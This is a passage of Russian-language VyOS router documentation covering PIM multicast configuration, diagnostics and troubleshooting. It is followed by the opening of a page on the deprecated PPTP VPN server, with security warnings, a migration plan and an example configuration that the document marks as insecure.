set protocols pim rp address 10.255.0.3 group 239.3.0.0/16

commit
save
```

**Проверка**:
```
show ip pim rp-info

# Вывод:
# Group: 239.1.0.0/16
#   RP: 10.255.0.1 (static)
# Group: 239.2.0.0/16
#   RP: 10.255.0.2 (static)
# Group: 239.3.0.0/16
#   RP: 10.255.0.3 (static)
```

## Операционные команды

### Show Commands

**PIM Interface**:
```
show ip pim interface
```

Вывод:
```
Interface  State  Address      PIM Nbrs  PIM DR  FHR IfChannels
eth0       up     10.0.1.1     1         local   0   0
eth1       up     10.100.0.1   0         local   1   5
lo         up     10.255.0.1   0         local   0   0
```

**PIM Interface детали**:
```
show ip pim interface eth0
```

Вывод:
```
Interface: eth0
  State: up
  Address: 10.0.1.1
  Designated Router: 10.0.1.1 (local)
  DR Priority: 1
  Hello Period: 30 sec
  Hello Timer: 00:00:18
  Neighbor Count: 1
```

**PIM Neighbors**:
```
show ip pim neighbor
```

Вывод:
```
Interface  Neighbor    Uptime    Timer     DR Pri  DR
eth0       10.0.1.2    01:23:45  00:01:25  1       10.0.1.2
eth1       10.0.2.1    00:45:12  00:01:30  100     10.0.2.1
```

**PIM RP Information**:
```
show ip pim rp-info
```

Вывод:
```
RP address       group/prefix-list   OIF         I am RP    Source   Group-Type
10.255.0.2       224.0.0.0/4         lo          yes        Static   ASM
10.255.0.1       239.1.0.0/16        eth0        no         Static   ASM
232.0.0.0/8      232.0.0.0/8         -           -          -        SSM
```

**PIM State**:
```
show ip pim state
```

Вывод:
```
Codes: J -> Pim Join, I -> IGMP Report, S -> Source, * -> Inherited from (*,G)
Active Sources:
Source          Group           Proto  Input      Output     TTL  Uptime
10.100.0.50     239.10.1.1      J      eth1       eth0       1    00:15:23

Active Groups:
Source          Group           Input      Output     Flags    Uptime
*               239.10.1.1      -          eth0       J        00:20:15
10.100.0.50     239.10.1.1      eth1       eth0       SJ       00:15:23
```

**PIM Join**:
```
show ip pim join
```

Вывод:
```
Interface  Address      Source         Group          State      Uptime    Expire
eth0       10.0.1.1     *              239.10.1.1     JOIN       00:20:15  00:00:42
eth0       10.0.1.1     10.100.0.50    239.10.1.1     JOIN       00:15:23  00:00:38
```

**PIM Upstream**:
```
show ip pim upstream
```

Вывод:
```
Iif             Source          Group           State       Uptime    JoinTimer RSTimer
eth1            10.100.0.50     239.10.1.1      Joined      00:15:23  00:00:38  00:02:45
-               *               239.10.1.1      NotJoined   00:20:15  --:--:--  --:--:--
```

**PIM BSR**:
```
show ip pim bsr
```

Вывод:
```
PIMv2 Bootstrap information
BSR address: 10.255.0.1 (priority 200)
Uptime: 01:45:23, BSR Candidate priority: 200
This system is the Bootstrap Router (BSR)

RP Set:
  Group: 224.0.0.0/4
    RP: 10.255.0.1 (priority 200, holdtime 150s, uptime 01:45:20)
    RP: 10.255.0.2 (priority 100, holdtime 150s, uptime 01:45:18)
```

### IGMP Commands (в контексте PIM)

**IGMP Groups**:
```
show igmp groups
```

Вывод:
```
Interface        Address         Group           Mode    Timer    Srcs  V  Uptime
eth1             192.168.10.1    239.10.1.1      EXCL    00:04:15  1    3  00:20:15
eth1             192.168.10.1    239.10.1.2      INCL    00:04:20  0    2  00:15:30
```

**IGMP Sources** (для IGMPv3 SSM):
```
show igmp sources
```

Вывод:
```
Interface  Address      Group        Source        Timer    Fwd  Uptime
eth1       192.168.10.1 232.1.1.1    10.50.0.10    00:03:45 Y    00:10:23
eth1       192.168.10.1 232.1.2.1    10.50.0.20    00:03:50 Y    00:08:15
```

**IGMP Interface**:
```
show igmp interface
```

Vывод:
```
Interface  State  Address      V  Querier  Query Timer  Other Timer  Group Count
eth1       up     192.168.10.1 3  local    00:01:05     00:00:00     2
eth2       up     192.168.20.1 2  local    00:01:15     00:00:00     1
```

### Statistics

**PIM Statistics**:
```
show ip pim statistics
```

Вывод:
```
Interface eth0:
  Hello messages:
    Received: 1523
    Sent: 1520
  Join/Prune messages:
    Received: 245
    Sent: 198
  Register messages:
    Received: 0
    Sent: 0
  Register-Stop messages:
    Received: 0
    Sent: 0
```

**Multicast Routing Table**:
```
show ip mroute
```

Вывод:
```
Source          Group           Proto  Input  Output       TTL  Uptime
*               239.10.1.1      PIM    -      eth0         1    00:20:15
10.100.0.50     239.10.1.1      PIM    eth1   eth0         1    00:15:23
```

**Multicast Routing Table детали**:
```
show ip mroute 239.10.1.1
```

Вывод:
```
Group: 239.10.1.1
  Incoming interface: eth1
  Source: 10.100.0.50
  RPF neighbor: 10.100.0.50
  Outgoing interface list:
    eth0, Forward/Sparse, uptime 00:15:23, expires 00:02:37
```

### Management Commands

**Restart PIM**:
```
restart pim
```

**Clear PIM state** (soft reset):
```
# Нет прямой команды, используйте restart
restart pim
```

## Troubleshooting

### PIM Neighbors не устанавливаются

**Проблема**: PIM соседи не появляются в `show ip pim neighbor`.

**Проверка**:

1. **PIM включен на интерфейсах**:
   ```
   show protocols pim
   show ip pim interface
   ```

2. **IP connectivity**:
   ```
   ping <neighbor-ip>
   ```

3. **PIM Hello сообщения**:
   ```
   tcpdump -i eth0 -n proto 103
   ```

   Должны видеть периодические PIM Hello (каждые 30 сек).

4. **Firewall блокирует PIM** (протокол 103):
   ```
   set firewall ipv4 input filter rule 100 action accept
   set firewall ipv4 input filter rule 100 protocol pim
   commit
   ```

5. **MTU issues**:
   ```
   show interfaces ethernet eth0
   ```

   Проверьте что MTU достаточен (1500+).

6. **Unicast routing работает**:
   ```
   show ip route <neighbor-ip>
   ```

   Должен быть маршрут к соседу.

**Решение**:
```
# Разрешить PIM в firewall
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 protocol pim

# Restart PIM
restart pim

commit
save
```

### RP не доступен

**Проблема**: `show ip pim rp-info` показывает RP, но нет connectivity.

**Проверка**:

1. **RP IP в routing table**:
   ```
   show ip route <rp-address>
   ```

   Должен быть маршрут к RP.

2. **Ping RP**:
   ```
   ping <rp-address>
   ```

3. **PIM соседи по пути к RP**:
   ```
   show ip pim neighbor
   ```

4. **RPF check**:
   ```
   show ip rpf <rp-address>
   ```

   Вывод покажет RPF interface и RPF neighbor.

5. **RP конфигурация одинакова на всех роутерах**:
   ```
   show protocols pim rp
   ```

**Решение**:
```
# Убедитесь что RP IP в OSPF/BGP
set protocols ospf area 0 network <rp-network>

# Проверьте что RP адрес на loopback
set interfaces loopback lo address <rp-address>/32

# Одинаковая RP конфигурация на всех роутерах
set protocols pim rp address <rp-address>

commit
save
```

### Multicast трафик не доходит до получателей

**Проблема**: IGMP подписки есть, но multicast трафик не приходит.

**Проверка**:

1. **IGMP группы активны**:
   ```
   show igmp groups
   ```

2. **PIM Join отправлен upstream**:
   ```
   show ip pim join
   show ip pim upstream
   ```

   Должны видеть JOIN для группы.

3. **PIM State для группы**:
   ```
   show ip pim state
   ```

   Должны видеть (*,G) и (S,G) entries.

4. **Source регистрируется на RP**:
   ```
   # На RP
   show ip pim upstream
   ```

   Должны видеть источник.

5. **Multicast routing table**:
   ```
   show ip mroute <group>
   ```

   Должны видеть Incoming и Outgoing interfaces.

6. **Трафик достигает first-hop router**:
   ```
   tcpdump -i eth1 -n host <multicast-group>
   ```

7. **RPF check проходит**:
   ```
   show ip rpf <source-ip>
   ```

   RPF interface должен совпадать с incoming interface для источника.

8. **Firewall разрешает multicast**:
   ```
   show firewall
   ```

   Проверьте правила для destination 224.0.0.0/4.

**Решение**:
```
# Разрешить multicast в firewall
set firewall ipv4 input filter rule 120 action accept
set firewall ipv4 input filter rule 120 destination address 224.0.0.0/4

set firewall ipv4 forward filter rule 120 action accept
set firewall ipv4 forward filter rule 120 destination address 224.0.0.0/4

# Проверить IGMP
set protocols pim interface eth1 igmp
set protocols pim interface eth1 igmp version 2

# Restart
restart igmp
restart pim

commit
save
```

### RPF Failure

**Проблема**: RPF (Reverse Path Forwarding) check fail, трафик отбрасывается.

**RPF принцип**: Multicast пакет должен прибыть на интерфейс, который ведет обратно к источнику (по unicast routing table).

**Диагностика**:
```
show ip rpf <source-ip>
```

Вывод:
```
Routing entry for 10.100.0.50
Known via "connected", distance 0, metric 0
  * directly connected, eth1

RPF interface: eth1
RPF address: 10.100.0.50
```

**Проверка**:
- RPF interface должен совпадать с incoming interface multicast трафика
- Если не совпадает - RPF failure, пакет drop

**Решение**:

1. **Исправить unicast routing**:
   ```
   # Убедитесь что маршрут к источнику правильный
   show ip route <source-ip>
   ```

2. **Использовать static mroute** (если unicast и multicast топологии разные):
   ```
   # Не поддерживается VyOS CLI напрямую
   # Используйте FRR vtysh
   vtysh
   configure
   ip mroute <source-network> <rpf-interface>
   exit
   write
   ```

3. **ECMP**: Если несколько путей к источнику:
   ```
   set protocols pim ecmp
   commit
   ```

### SSM не работает с IGMPv2

**Проблема**: SSM группы (232.0.0.0/8) не работают с IGMPv2 клиентами.

**Причина**: SSM требует IGMPv3 для (S,G) подписок.

**Решение**:

1. **Upgrade клиентов к IGMPv3**:
   ```
   # На Linux клиенте
   echo 3 > /proc/sys/net/ipv4/conf/eth0/force_igmp_version
   ```

2. **Настроить IGMPv3 на VyOS**:
   ```
   set protocols pim interface eth1 igmp version 3
   commit
   ```

3. **Проверка**:
   ```
   show igmp interface eth1
   ```

   Должно показать Version: 3.

4. **Если клиенты не поддерживают IGMPv3** - использовать ASM (Any-Source Multicast) вместо SSM.

### SPT Switchover не происходит

**Проблема**: Трафик продолжает идти через RP, не переключается на SPT.

**Проверка**:

1. **SPT switchover не отключен**:
   ```
   show protocols pim
   ```

   Не должно быть `spt-switchover infinity-and-beyond`.

2. **PIM State**:
   ```
   show ip pim state
   ```

   Должны видеть как (*,G) так и (S,G) entries после получения первого пакета.

3. **Unicast маршрут к источнику**:
   ```
   show ip route <source-ip>
   ```

4. **Mroute table**:
   ```
   show ip mroute <group>
   ```

   После SPT switchover Incoming interface должен измениться с RP path на source path.

**Решение**:

1. **Убрать infinity-and-beyond** (если установлен):
   ```
   delete protocols pim spt-switchover infinity-and-beyond
   commit
   ```

2. **Проверить RPF к источнику**:
   ```
   show ip rpf <source-ip>
   ```

3. **Restart PIM**:
   ```
   restart pim
   ```

### BSR не выбирается

**Проблема**: BSR election не происходит, нет RP mappings.

**Проверка**:

1. **Candidate-BSR настроен**:
   ```
   show protocols pim bsr
   ```

2. **BSR status**:
   ```
   show ip pim bsr
   ```

   Должно показать BSR address и RP Set.

3. **PIM neighbors**:
   ```
   show ip pim neighbor
   ```

   BSR сообщения распространяются через PIM.

4. **Bootstrap сообщения**:
   ```
   tcpdump -i eth0 -n proto 103 and 'ip[20] == 4'
   ```

   Тип 4 - Bootstrap Message.

**Решение**:
```
# На Primary BSR
set protocols pim bsr candidate-bsr address <loopback-ip>
set protocols pim bsr candidate-bsr priority 200

# На Backup BSR
set protocols pim bsr candidate-bsr address <loopback-ip>
set protocols pim bsr candidate-bsr priority 100

# Candidate-RP
set protocols pim bsr candidate-rp address <loopback-ip>
set protocols pim bsr candidate-rp priority 200

# Restart
restart pim

commit
save
```

### High CPU от PIM

**Проблема**: Высокая загрузка CPU от FRR pimd процесса.

**Причины**:
- Слишком много (S,G) state
- Частые Join/Prune сообщения
- Нестабильность источников (flapping)

**Диагностика**:
```
# Количество mroute entries
show ip mroute | count

# PIM state
show ip pim state | count

# PIM statistics
show ip pim statistics
```

**Решение**:

1. **Увеличить Join-Prune Interval**:
   ```
   set protocols pim join-prune-interval 120
   commit
   ```

2. **Увеличить Keep-Alive Timer**:
   ```
   set protocols pim keep-alive-timer 300
   commit
   ```

3. **Использовать SSM вместо ASM** (меньше state):
   ```
   set protocols pim ssm prefix-list SSM-RANGE
   commit
   ```

4. **Ограничить количество групп** через firewall или RP accept-list.

## Мониторинг и логирование

### Continuous Monitoring

**Мониторинг PIM neighbors**:
```
watch -n 5 'show ip pim neighbor'
```

**Мониторинг PIM state**:
```
watch -n 10 'show ip pim state'
```

**Мониторинг IGMP groups**:
```
watch -n 5 'show igmp groups'
```

**Multicast трафик**:
```
# PIM протокол
tcpdump -i eth0 -n -v proto 103

# Конкретная multicast группа
tcpdump -i eth0 -n host 239.10.1.1

# Все multicast
tcpdump -i eth0 -n 'dst net 224.0.0.0/4'
```

### Logging

**Системные логи**:
```
show log tail 100 | match pim
```

**Syslog для PIM**:
```
set system syslog global facility protocols level info
commit
```

**External syslog**:
```
set system syslog host 192.168.1.100 facility protocols level info
set system syslog host 192.168.1.100 port 514
commit
```

**FRR debug** (осторожно, очень verbose):
```
# Войти в FRR shell
vtysh

# Debug PIM
debug pim events
debug pim packets

# Debug IGMP
debug igmp events
debug igmp packets

# Отключить debug
no debug pim events
no debug pim packets

exit
```

**Логи в файл**:
```
vtysh
configure
log file /var/log/frr/pim.log
log syslog informational
exit
write
```

### SNMP Monitoring

**SNMP для multicast статистики**:
```
# Установить SNMP
set service snmp community public authorization ro
set service snmp community public network 192.168.1.0/24

commit
```

**SNMP OIDs для PIM**:
- `.1.3.6.1.2.1.157` - PIM-MIB
- `.1.3.6.1.2.1.83` - IGMP-MIB
- `.1.3.6.1.2.1.15` - IPMROUTE-MIB

**SNMP query**:
```bash
snmpwalk -v2c -c public <vyos-ip> .1.3.6.1.2.1.157
```

### Performance Metrics

**Bandwidth мониторинг**:
```bash
# Установить bmon
sudo apt install bmon

# Запустить
bmon -p eth0,eth1 -b

# Или iftop для multicast
sudo iftop -i eth0 -f 'dst net 224.0.0.0/4'
```

**Multicast пакеты статистика**:
```
# Входящие multicast пакеты
show interfaces ethernet eth0 | match multicast

# Статистика mroute
show ip mroute count
```

## Лучшие практики

### Дизайн RP

1. **Placement RP**:
   - Центральное расположение в топологии
   - Loopback адрес (стабильный)
   - Высокая доступность (используйте Anycast RP или BSR)

2. **Redundancy**:
   - Несколько Candidate-RP с BSR
   - Или Anycast RP (advanced)
   - VRRP на интерфейсах RP

3. **Load Balancing**:
   - Разные RP для разных диапазонов групп
   - Мониторинг нагрузки на RP

### PIM Конфигурация

1. **DR Priority**:
   - Настраивайте явно на multi-access сегментах
   - Предпочитайте более мощные роутеры

2. **Hello Interval**:
   - Стандартные 30 секунд для стабильных сетей
   - 10-15 секунд для быстрой convergence
   - Не ниже 10 секунд (избыточный трафик)

3. **SPT Switchover**:
   - Оставьте по умолчанию (immediate) для оптимальных путей
   - Используйте infinity-and-beyond только для специальных случаев

4. **SSM vs ASM**:
   - Предпочитайте SSM если источники известны
   - SSM проще, безопаснее, меньше state
   - ASM для dynamic источников

### Безопасность

1. **Firewall для PIM**:
   ```
   set firewall ipv4 input filter rule 100 action accept
   set firewall ipv4 input filter rule 100 protocol pim
   set firewall ipv4 input filter rule 100 source address 10.0.0.0/8
   ```

2. **Ограничение multicast групп**:
   ```
   set firewall ipv4 input filter rule 110 action accept
   set firewall ipv4 input filter rule 110 destination address 239.0.0.0/8

   set firewall ipv4 input filter rule 999 action drop
   set firewall ipv4 input filter rule 999 destination address 224.0.0.0/4
   set firewall ipv4 input filter rule 999 description 'Drop unknown multicast'
   ```

3. **Rate limiting**:
   ```
   set firewall ipv4 input filter rule 100 limit rate 100/second
   ```

4. **IGMP контроль**:
   ```
   # Ограничить количество IGMP групп на интерфейс
   # (не поддерживается VyOS CLI, используйте FRR)
   ```

### Производительность

1. **ECMP**:
   ```
   set protocols pim ecmp
   set protocols pim ecmp rebalance
   ```

2. **Timers оптимизация**:
   ```
   # Увеличить для снижения CPU
   set protocols pim join-prune-interval 120
   set protocols pim keep-alive-timer 300
   ```

3. **Limit (S,G) state**:
   - Используйте SSM где возможно
   - Ограничивайте количество источников

### Масштабирование

1. **Количество групп**:
   - PIM-SM масштабируется до тысяч групп
   - Мониторинг: `show ip pim state | count`

2. **Количество (S,G) entries**:
   - Зависит от памяти роутера
   - SSM снижает количество state

3. **Bandwidth**:
   - Учитывайте репликацию multicast трафика
   - Используйте QoS для приоритизации

## Интеграция с другими протоколами

### PIM + OSPF

**Сценарий**: PIM поверх OSPF для unicast маршрутизации.

```
# OSPF
set protocols ospf parameters router-id 10.255.0.1
set protocols ospf area 0 network 10.0.0.0/8

# PIM использует OSPF routing table для RPF
set protocols pim interface eth0
set protocols pim rp address 10.255.0.2

commit
```

**Важно**: RP адрес должен быть в OSPF.

### PIM + BGP

**Сценарий**: Inter-AS multicast с BGP.

```
# BGP
set protocols bgp system-as 65001
set protocols bgp neighbor 203.0.113.1 remote-as 65000

# PIM
set protocols pim interface eth0
set protocols pim rp address 10.255.0.2

commit
```

**MSDP (Multicast Source Discovery Protocol)**: Не поддерживается текущей версией VyOS.

### PIM + BFD

**BFD (Bidirectional Forwarding Detection)** - быстрое обнаружение отказа соседа.

**Конфигурация**:
```
# BFD глобально
set protocols bfd peer 10.0.1.2
set protocols bfd peer 10.0.1.2 interval transmit 300
set protocols bfd peer 10.0.1.2 interval receive 300
set protocols bfd peer 10.0.1.2 interval multiplier 3

# PIM будет использовать BFD автоматически если настроен
set protocols pim interface eth0

commit
```

**Преимущества**:
- Sub-second обнаружение отказа PIM neighbor
- Быстрая convergence

**Примечание**: VyOS PIM (FRR) поддерживает BFD для PIM neighbors.

### PIM + VPN (IPsec/WireGuard)

**Multicast через VPN туннель**.

**Требования**:
- VTI интерфейс (не policy-based VPN)
- PIM на VTI интерфейсе
- Unicast routing через VPN

**Конфигурация**:
```
# VTI интерфейс
set interfaces vti vti0 address 172.16.0.1/30

# IPsec VPN
set vpn ipsec site-to-site peer 203.0.113.2 vti bind vti0

# PIM на VTI
set protocols pim interface vti0
set protocols pim interface vti0 hello 10

# OSPF через VPN
set protocols ospf area 0 network 172.16.0.0/30

# RP
set protocols pim rp address 10.255.0.2

commit
```

## Сравнение решений

### PIM-SM vs IGMP Proxy

| Характеристика | PIM-SM | IGMP Proxy |
|---------------|--------|------------|
| Топология | Любая | Простая (дерево) |
| Масштабируемость | Тысячи групп | Сотни групп |
| Redundancy | Полная | Ограниченная |
| Сложность | Высокая | Низкая |
| RP | Требуется | Не требуется |
| CPU/Memory | Среднее | Низкое |
| Применение | Enterprise/SP | Edge/Home |

### PIM-SM vs PIM-SSM

| Характеристика | PIM-SM | PIM-SSM |
|---------------|--------|---------|
| RP | Требуется | Не требуется |
| Источники | Любые | Известные |
| IGMP версия | v2/v3 | v3 обязательно |
| State | (*,G) + (S,G) | (S,G) только |
| Complexity | Выше | Ниже |
| Security | Средняя | Высокая |
| Применение | Dynamic sources | Known sources |

### Статический RP vs BSR

| Характеристика | Статический RP | BSR |
|---------------|---------------|-----|
| Конфигурация | Вручную на всех | Автоматическая |
| Failover | Ручной | Автоматический |
| Масштабируемость | Ограниченная | Высокая |
| Complexity | Низкая | Средняя |
| Применение | Малые сети | Большие сети |

## Ссылки и ресурсы

### RFC Documents

- **RFC 7761** - PIM-SM (Sparse Mode) - основной стандарт
- **RFC 4601** - PIM-SM v2
- **RFC 3973** - PIM-DM (Dense Mode)
- **RFC 4607** - SSM (Source-Specific Multicast)
- **RFC 5059** - BSR (Bootstrap Router Mechanism)
- **RFC 5015** - Bidirectional PIM
- **RFC 3376** - IGMPv3 (для SSM)

### VyOS Documentation

- [VyOS PIM Configuration](https://docs.vyos.io/en/latest/configuration/protocols/pim.html)
- [VyOS IGMP Proxy](https://docs.vyos.io/en/latest/configuration/protocols/igmp-proxy.html)
- [VyOS Multicast Routing](https://docs.vyos.io/en/latest/configuration/protocols/multicast.html)

### FRR Documentation

- [FRR PIM Documentation](https://docs.frrouting.org/en/latest/pim.html)
- [FRR IGMP Documentation](https://docs.frrouting.org/en/latest/igmp.html)

### Полезные инструменты

- **pimd** - PIM daemon (используется FRR)
- **smcroute** - Static multicast routing
- **iperf** - Multicast performance testing
- **VLC** - Multicast streaming player
- **tcpdump** - Packet capture
- **Wireshark** - Protocol analyzer
- **Zabbix/Prometheus** - Monitoring

### Community

- [VyOS Forum](https://forum.vyos.io/)
- [FRR Community](https://frrouting.org/community/)
- [VyOS Phabricator](https://vyos.dev/)

## Следующие шаги

После настройки PIM рекомендуется изучить:

- **[IGMP Proxy](/docs/vyos/routing/vyos-igmp)** - для простых топологий
- **[MPLS](/docs/vyos/routing/vyos-mpls)** - для MVPN (Multicast VPN)
- **[QoS](/docs/vyos/qos/)** - для приоритизации multicast трафика
- **[Firewall](/docs/vyos/firewall/vyos-firewall/)** - для защиты multicast сетей
- **[OSPF](/docs/vyos/routing/vyos-ospf)** - для unicast routing
- **[BFD](/docs/vyos/routing/vyos-bfd)** - для быстрого failover

## Заключение

PIM (Protocol Independent Multicast) - мощное решение для multicast маршрутизации в сложных топологиях. PIM-SM с Rendezvous Point обеспечивает эффективное распределение multicast трафика для распределенных получателей, PIM-SSM упрощает конфигурацию для известных источников, а Bootstrap Router автоматизирует управление RP.

**Ключевые моменты**:
- PIM-SM для сложных топологий с RP
- PIM-SSM для известных источников (требует IGMPv3)
- BSR для автоматического распределения RP
- SPT switchover для оптимальных путей
- ECMP для балансировки multicast потоков
- Интеграция с OSPF/BGP для unicast routing
- Мониторинг PIM neighbors, state, RP

**Выбор решения**:
- IGMP Proxy - для простых топологий (home/small office)
- PIM-SM - для enterprise и service provider сетей
- PIM-SSM - для IPTV, видео стриминга с известными источниками


---

# PPTP Server - Legacy VPN (Deprecated)

Source: https://opennix.org/docs/vyos/vpn/vyos-pptp-server/


## КРИТИЧНОЕ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ

PPTP (Point-to-Point Tunneling Protocol) является устаревшей и небезопасной VPN технологией с множеством известных критических уязвимостей. VyOS реализует PPTP **только для обратной совместимости** с legacy системами.

**КАТЕГОРИЧЕСКИ НЕ РЕКОМЕНДУЕТСЯ** использовать PPTP для новых развертываний или любых приложений, требующих реальной безопасности.

**Используйте вместо этого**:
- **WireGuard** - современный, быстрый, безопасный VPN протокол
- **OpenVPN** - проверенный, гибкий, широко поддерживаемый
- **IPsec/IKEv2** - стандартизированный, enterprise-grade VPN
- **L2TP/IPsec** - лучше чем PPTP, но тоже устаревает

## Обзор

### Что такое PPTP

**PPTP (Point-to-Point Tunneling Protocol)**:
- Разработан Microsoft в 1999 году
- Один из первых VPN протоколов
- Инкапсулирует PPP (Point-to-Point Protocol) фреймы в GRE (Generic Routing Encapsulation) туннеле
- Использует TCP 1723 для control channel и GRE (IP Protocol 47) для data channel
- MPPE (Microsoft Point-to-Point Encryption) для шифрования

### Известные уязвимости PPTP

**Критические проблемы безопасности**:

1. **Слабое шифрование**:
   - MPPE основан на RC4 cipher (устаревший)
   - Ключи шифрования выводятся из MS-CHAPv2 хэшей (слабые)
   - Эффективная длина ключа всего 128 бит (для MPPE-128)

2. **Уязвимости MS-CHAPv2**:
   - MS-CHAPv2 аутентификация взламывается за секунды с современными GPU
   - DES encryption (использованная в MS-CHAPv2) считается полностью скомпрометированной
   - Dictionary и rainbow table атаки очень эффективны

3. **Отсутствие Perfect Forward Secrecy (PFS)**:
   - Компрометация одного ключа раскрывает весь трафик
   - Невозможность защиты прошлых сессий

4. **Bit-flipping атаки**:
   - RC4 подвержен bit-flipping атакам
   - Возможность модификации encrypted data без обнаружения

5. **Проблемы с NAT traversal**:
   - GRE не работает хорошо через NAT
   - Требуется специальная поддержка на роутерах (PPTP passthrough)

**Публичные уязвимости**:
- **2012**: Moxie Marlinspike и CloudCracker продемонстрировали взлом MS-CHAPv2 за 23 часа
- **2012**: Microsoft признала, что PPTP "больше не может считаться безопасным"
- **NSA**: Документы Сноудена показали, что NSA может расшифровывать PPTP трафик

### Почему VyOS все еще поддерживает PPTP

**Единственные валидные причины**:
1. **Legacy hardware** - старое оборудование с PPTP-only клиентами
2. **Backwards compatibility** - миграция со старых систем
3. **Non-security scenarios** - тестирование, лабораторные среды без sensitive data
4. **Temporary bridge** - временное решение во время миграции на современные VPN

**НЕ используйте PPTP если**:
- Передаются sensitive данные
- Требуется реальная безопасность
- Есть альтернативы (почти всегда есть)
- Compliance regulations применимы (PCI DSS, HIPAA, GDPR запрещают PPTP)

## Архитектура PPTP

### Компоненты

1. **PPTP Server** (PNS - PPTP Network Server) - VyOS
2. **PPTP Client** (PAC - PPTP Access Concentrator)
3. **Control Connection** - TCP 1723
4. **Data Tunnel** - GRE (IP Protocol 47)
5. **PPP Session** - аутентификация и IP assignment

### Процесс подключения

1. **TCP Connection** - клиент подключается к серверу на TCP 1723
2. **Control Channel** - устанавливается PPTP control connection
3. **GRE Tunnel** - создается GRE туннель для data
4. **PPP Negotiation** - LCP (Link Control Protocol) negotiation
5. **Authentication** - PAP/CHAP/MSCHAP/MSCHAP-v2
6. **IPCP** - IP Control Protocol assigns IP address
7. **MPPE Negotiation** - если включено шифрование
8. **Data Transfer** - начинается передача данных

### Используемые порты и протоколы

- **TCP 1723** - PPTP control channel (обязательно)
- **GRE (IP Protocol 47)** - PPTP data tunnel (обязательно)
- **UDP 500/4500** - НЕ используется (это IPsec)
- **UDP 1701** - НЕ используется (это L2TP)

**Важно**: PPTP требует оба - TCP 1723 И GRE (protocol 47).

## Миграция с PPTP

### План миграции

**Шаг 1: Оценка**
```bash
# Посмотреть текущих PPTP пользователей
show pptp-server sessions

# Посмотреть конфигурацию
show configuration vpn pptp remote-access
```

**Шаг 2: Выбор альтернативы**

| Сценарий | Рекомендация | Причина |
|----------|-------------|---------|
| Windows/iOS/Android клиенты | L2TP/IPsec | Встроенные клиенты |
| Максимальная производительность | WireGuard | Современный, быстрый |
| Legacy compatibility | OpenVPN | Широкая поддержка |
| Enterprise deployment | IPsec/IKEv2 | Стандартизирован |
| Mobile users | WireGuard/IKEv2 | Лучший roaming |

**Шаг 3: Параллельное развертывание**
```bash
# Держать PPTP работающим
# Добавить новый VPN метод (например, WireGuard)
set interfaces wireguard wg0 address '10.10.10.1/24'
set interfaces wireguard wg0 port '51820'
set interfaces wireguard wg0 private-key 'XXXXXXXX'

# Peer configuration
set interfaces wireguard wg0 peer CLIENT1 public-key 'YYYYYYYY'
set interfaces wireguard wg0 peer CLIENT1 allowed-ips '10.10.10.2/32'

commit
save

# Уведомить пользователей о миграции
```

**Шаг 4: Тестирование**
- Проверить новый VPN с небольшой группой пользователей
- Убедиться что все функции работают
- Документировать процесс подключения для пользователей

**Шаг 5: Миграция пользователей**
- Переводить пользователей постепенно (batches)
- Держать PPTP активным для fallback
- Мониторить использование обоих VPN

**Шаг 6: Отключение PPTP**
```bash
# Когда все мигрированы
delete vpn pptp remote-access

# Удалить firewall правила
delete firewall ipv4 input filter rule XXX  # PPTP rules

commit
save
```

### Таблица сравнения VPN протоколов

| Критерий | PPTP | L2TP/IPsec | OpenVPN | WireGuard | IPsec/IKEv2 |
|----------|------|------------|---------|-----------|-------------|
| Безопасность | Очень слабая | Хорошая | Отличная | Отличная | Отличная |
| Производительность | Средняя | Средняя | Хорошая | Отличная | Хорошая |
| Встроенные клиенты | Да (устарело) | Да | Нет | Частично | Да (iOS/macOS) |
| Обход NAT | Плохо | Хорошо (NAT-T) | Отлично | Отлично | Хорошо |
| Сложность настройки | Простая | Средняя | Средняя | Простая | Сложная |
| Mobile roaming | Плохо | Среднее | Хорошо | Отлично | Отлично |
| Firewall friendly | Плохо (GRE) | Среднее | Отлично | Хорошо | Среднее |
| Рекомендация 2025 | НЕТ | Legacy only | Да | ДА (топ) | Да |

## Базовая конфигурация (НЕ для production)

### Минимальный PPTP сервер

**ВНИМАНИЕ**: Следующая конфигурация НЕ БЕЗОПАСНА и предоставлена только для справки.

```bash
# PPTP сервер с local authentication
set vpn pptp remote-access authentication mode 'local'

# Пользователи (слабо защищено!)
set vpn pptp remote-access authentication local-users username testuser password 'testpass'
set vpn pptp remote-access authentication local-users username alice password 'AlicePass123!'
set vpn pptp remote-access authentication local-users username bob password 'BobPass456!'

# Client IP pool
set vpn pptp remote-access client-ip-pool start '192.168.250.10'
set vpn pptp remote-access client-ip-pool stop '192.168.250.50'

# Gateway IP (VyOS)
set vpn pptp remote-access gateway-address '192.168.250.1'

# Outside address (WAN IP VyOS)
set vpn pptp remote-access outside-address '203.0.113.1'

# DNS для клиентов
set vpn pptp remote-access name-server '8.8.8.8'
set vpn pptp remote-access name-server '1.1.1.1'

# Firewall для PPTP
set firewall ipv4 input filter rule 150 action accept
set firewall ipv4 input filter rule 150 destination port 1723
set firewall ipv4 input filter rule 150 protocol tcp
set firewall ipv4 input filter rule 150 description 'PPTP control channel'

set firewall ipv4 input filter rule 151 action accept
set firewall ipv4 input filter rule 151 protocol gre
set firewall ipv4 input filter rule 151 description 'PPTP data tunnel (GRE)'

# NAT для PPTP клиентов
set nat source rule 150 outbound-interface name eth0
set nat source rule 150 source address 192.168.250.0/24
set nat source rule 150 translation address masquerade

commit
save
```

### Проверка PPTP сервера

```bash
# Активные сессии
show pptp-server sessions

# Статистика
show pptp-server statistics

# Логи accel-ppp (PPTP backend)
sudo journalctl -u accel-ppp@pptp -b 0

# Live log monitoring
sudo journalctl -u accel-ppp@pptp -f

# Проверить что PPTP слушает на 1723
sudo netstat -tlnp | grep 1723
```

Пример вывода `show pptp-server sessions`:
```
Interface | Username  | IP Address      | Calling Station | Uptime    | RX/TX
----------+-----------+-----------------+-----------------+-----------+-------------
pptp0     | alice     | 192.168.250.10  | 198.51.100.50   | 00:15:32  | 1.2M/3.4M
pptp1     | bob       | 192.168.250.11  | 198.51.100.51   | 01:23:45  | 5.6M/12.1M
```

## Аутентификация

### Local authentication

Пользователи хранятся в конфигурации VyOS (plaintext пароли в config!):

```bash
set vpn pptp remote-access authentication mode 'local'

# Добавить пользователей
set vpn pptp remote-access authentication local-users username user1 password 'Pass1!'
set vpn pptp remote-access authentication local-users username user2 password 'Pass2!'

# Статические IP адреса для specific пользователей
set vpn pptp remote-access authentication local-users username user1 static-ip '192.168.250.10'

# Отключить пользователя (удалить)
delete vpn pptp remote-access authentication local-users username user1

commit
```

**Проблемы local authentication**:
